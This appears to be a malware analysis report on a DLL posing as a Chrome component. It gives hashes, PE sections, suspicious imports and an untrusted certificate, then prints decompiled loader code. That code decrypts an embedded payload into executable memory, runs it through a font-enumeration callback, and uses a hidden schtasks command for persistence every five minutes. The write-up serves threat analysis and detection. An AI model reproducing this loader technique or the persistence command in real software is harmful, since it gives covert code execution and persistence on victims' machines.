1. Sample Information
- Original file name: chrome.exe
- File type: dynamic-link-library, 32-bit, GUI
- File size: 1.532784 MB
- Hash values:
- MD5: 817df56f4ad3a3f6b39765e5ed95501d
- SHA1: 15940bb4fa5e4d9b7a940dca3a1459d4216b1dbc
- SHA256: 216188ee52b067f761bdf3c456634ca2e84d278c8ebf35cd4cb686d45f5aaf7b
- Compile Timestamp: Thu Mar 20 08:18:00 2025
- Packing/Obfusction: None
- File Entropy Details:
Sections | Entropy |
---|---|
.text | 5.565 |
.rdata | 3.910 |
.data | 5.865 |
.idata | 4.492 |
.gfids | 2.945 |
.tls | 0.011 |
.00cfg | 0.061 |
.rsrc | 2.239 |
.reloc | 6.275 |
2. PE File Structure
- Sections overview:
Sections | Virtual Size | Raw Size |
---|---|---|
.text | 1197979 | 1198080 |
.rdata | 255121 | 255488 |
.data | 25144 | 17408 |
.idata | 4392 | 4608 |
.gfids | 3410 | 3584 |
.tls | 777 | 1024 |
.00cfg | 260 | 512 |
.rsrc | 1948 | 2048 |
.reloc | 41349 | 41472 |
- Suspicious Imports:
- VirtualAlloc
- CopyFileW
- SetEnvironmentVariableW
- SetFileAttributesW
- CreateDirectoryW
- SetEnvironmentVariableA
- GetEnvironmentStringW
- GetCurrentProcess
- RaiseException
- GetCurrentProcessId
- GetCurrentThreadId
- VirtualQuery
- GetModuleHandleExW
- GetCurrentThread
- WriteFile
- OutputDebugStringA
- OutputDebugStringW
- SetConsoleCtrlHandler
- CreateProcessA
- CreateProcessW
- FindFirstFileExA
- FindFirstFileExW
- FindNextFileA
- FileNextFileW
- RegSetValueExW
- ShellExecuteW
- Exports:
- public: void __thiscall CSPApp::DeleteJob(unsigned long)
- class CSPApp & __cdecl GetSPApp(void)
- public: void __thiscall CSPApp::HelpPage(void)
- public: void __thiscall CSPApp::ParseCommandLine(wchar_t const *)
- public: void __thiscall CSPApp::SupportInfo(void)
- AAfsSetMainStart
- AfsSetMainMsg
- AfsSetMainWnd
- Chrome_chrome_initialize
- Chrome_chrome_shutdown
- Chrome_init_plugins
- Chrome_run_message_loop
- Chrome_run_process
- Chrome_start_ipc
- Chrome_start_process_watcher
- Chrome_stop_process_watcher
- GetInstallDetailsPayload
- Int_MainStart
- IsBrowserProcess
- SignalChromeElf
- SignalInitializeCrashReporting
- main1
- Certificate:
- Name: Google LLC
- Signature status: Present but untrusted
- Signed Date: Thu Mar 20 01:21:23 2025
- Trust status: Certificate chain terminates in an untrusted root (likely self-signed or unrecognized CA)
3. Code and Disassembly Observation:
With using IDA, we can view the DLL exported functions through the Exports windows. Based on the names of the exported functions, it mimics with legitimate Chrome components such as Chrome_initialize
, Chrome_run_process
, IsBrowserProcess
. This could indicate several information about the malicious DLL:
- Legitimate library or masquerading malware
- DLL sideloading candidate
This naming convention suggests it may be intended for DLL sideloading, designed to appear legitimate to a host process while embedding malicious logic. Generic exports like Int_MainStart
and main1
warrant deeper inspection, as they may serve as the true malware entry points.
Exported Function of GetSPApp
void __thiscall __noreturn GetSPApp(void *this)
{
sub_100051E1(this);
AfsSetMainMsg();
}
This exported function called function sub_100051E1, analyzing it deeper reveal more information to function sub_10033770.
// bad sp value at call has been detected, the output may be wrong!
intptr_t sub_10033770()
{
const WCHAR *CommandLineW; // eax
HDC DC; // eax
FONTENUMPROCW lpProc; // [esp+D0h] [ebp-7Ch]
void *Src; // [esp+DCh] [ebp-70h]
int v5; // [esp+F4h] [ebp-58h] BYREF
char v6; // [esp+F8h] [ebp-54h]
char v7; // [esp+F9h] [ebp-53h]
char v8; // [esp+FAh] [ebp-52h]
char v9; // [esp+FBh] [ebp-51h]
char v10; // [esp+FCh] [ebp-50h]
char v11; // [esp+FDh] [ebp-4Fh]
char v12; // [esp+FEh] [ebp-4Eh]
char v13; // [esp+FFh] [ebp-4Dh]
char v14; // [esp+100h] [ebp-4Ch]
char v15; // [esp+101h] [ebp-4Bh]
char v16; // [esp+102h] [ebp-4Ah]
char v17; // [esp+103h] [ebp-49h]
int pNumArgs[3]; // [esp+10Ch] [ebp-40h] BYREF
LPWSTR *v19; // [esp+118h] [ebp-34h]
HANDLE MutexA; // [esp+124h] [ebp-28h]
LPCSTR lpName; // [esp+130h] [ebp-1Ch]
sub_10006DF2(0);
lpName = "CATM20252003";
MutexA = CreateMutexA(0, 0, "CATM20252003");
if ( GetLastError() == 183 )
return j___loaddll(0);
CommandLineW = GetCommandLineW();
v19 = CommandLineToArgvW(CommandLineW, pNumArgs);
if ( pNumArgs[0] > 1 && !j__wcscmp(v19[1], L"FreePDF") )
{
v5 = -2066623562;
v6 = 87;
v7 = 74;
v8 = -100;
v9 = -47;
v10 = -92;
v11 = 10;
v12 = -91;
v13 = 26;
v14 = -36;
v15 = 103;
v16 = -63;
v17 = 113;
Src = (void *)sub_10006BD6((int)&unk_10165008, 0x1C20u, (int)&v5);
lpProc = (FONTENUMPROCW)VirtualAlloc(0, 0x1C20u, 0x1000u, 0x40u);
j__memmove(lpProc, Src, 0x1C20u);
Sleep(0x3A98u);
DC = GetDC(0);
return EnumFontsW(DC, 0, lpProc, 0);
}
else
{
sub_10006C80();
sub_10003DFA();
return sub_10002617();
}
}
This section acts as the malware’s main loader routine by creating a mutex of CATM20252003
to prevent multiple instance from running. If execute with the "FreePDF"
command-line argument, it decrypts an embedded payload from the data section using a custom routine, allocates executable memory, and copies the payload into it.
After the if-else statement, it return back the function sub_1002617 with transfer its execution to function sub_10033500.
int sub_10033500()
{
HANDLE hHandle[6]; // [esp+DCh] [ebp-78h] BYREF
_DWORD v2[19]; // [esp+F4h] [ebp-60h] BYREF
FARPROC ProcAddress; // [esp+140h] [ebp-14h]
HMODULE hModule; // [esp+14Ch] [ebp-8h]
hModule = LoadLibraryA("Kernel32.dll");
if ( hModule )
{
ProcAddress = GetProcAddress(hModule, "CreateProcessA");
if ( ProcAddress )
{
j__memset(v2, 0, 0x44u);
v2[0] = 68;
j__memset(hHandle, 0, 0x10u);
v2[11] = 1;
LOWORD(v2[12]) = 0;
if ( ((int (__stdcall *)(_DWORD, const char *, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD *, HANDLE *))ProcAddress)(
0,
"schtasks /F /Create /TN \"ChromeBrowser-chromiumim\" /SC minute /MO 5 /TR \"C:\\ProgramData\\ChromePDFBrows"
"er\\ChromePDF.exe FreePDF\"",
0,
0,
0,
0,
0,
0,
v2,
hHandle) )
{
WaitForSingleObject(hHandle[0], 0xFFFFFFFF);
CloseHandle(hHandle[0]);
CloseHandle(hHandle[1]);
sub_10006A32(&unk_10129914);
}
else
{
GetLastError();
sub_10006A32("cerror %d\n");
}
FreeLibrary(hModule);
return 0;
}
else
{
GetLastError();
sub_10006A32(&unk_1012985C);
FreeLibrary(hModule);
return 1;
}
}
else
{
GetLastError();
sub_10006A32(&unk_10129828);
return 1;
}
}
This function dynamically loads Kernel32.dll and resolve the address of CreateProcessA
. It then uses this API to execute a schtasks
command that creates a scheduled task named “ChromeBrowser-chromiumim”, which is set to run every 5 minutes. The task executes C:\ProgramData\ChromePDFBrowser\ChromePDF.exe FreePDF
, ensuring that the malware will automatically restart regularly for persistence. If the task is created successfully, the function waits for the process to finish and cleans up handles; otherwise, it logs errors.
4. Malware Capabilities
- Execution:
- Executes Windows commands (
schtasks
) via dynamically resolved APIs. - Runs external payloads (
ChromePDF.exe
)
- Executes Windows commands (
- Persistence:
- Creates a Scheduled Task (
ChromeBrowser-chromiumim
) that runs every 5 minutes to ensure malware re-execution
- Creates a Scheduled Task (